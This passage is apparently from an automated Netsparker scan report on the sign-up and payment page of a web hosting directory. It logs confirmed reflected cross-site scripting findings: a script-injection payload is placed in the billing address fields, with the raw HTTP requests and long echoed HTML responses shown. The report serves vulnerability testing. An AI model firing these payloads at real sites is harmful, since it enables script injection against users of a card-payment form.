<option value='2DFD5761645828D675720044EB026E1CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D62B250D2A3507C00DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D6EC97C400E8E994FEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6590ACF3C9DCCC994C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D6A4B46B03B0AD0C41C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D639B6C45995DDF840C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D6CCC518241D4C1F306F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D6EC6AE509DDD0DB626F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D670EAB7DB41DA06D96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST '"--></style></script><script>alert(0x001E8D)</script>
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E8D)%3c%2fscript%3e&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:46 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D6FDCD2AAF3CDB50BDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D60B691E9FFA2AB1146F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D6BC6EB27D431268FCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6488FAFB6DE953FADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D63B65CD6F6B4E0E886F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D6C208ABB6AD6319A3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D6372488783B31D4DBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D6E7F1B0CE9F3776D66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D65D1F78A2F05B0006C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D65C950F75A920FC1E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D60968F33AADFE5357C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D628D5CAD6D54FDF41C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D6FCE057FA0D4407ADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6BF40B64EEF57CD08C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D60097163A42ED0702C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D69378CB819604DDE4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D659FE81374E4C7BE46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D62FCB1EB69F3FDA616F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D6AC436F4CC19B20966F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST '"--></style></script><script>alert(0x001E8E)</script>
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E8E)%3c%2fscript%3e&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:49 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
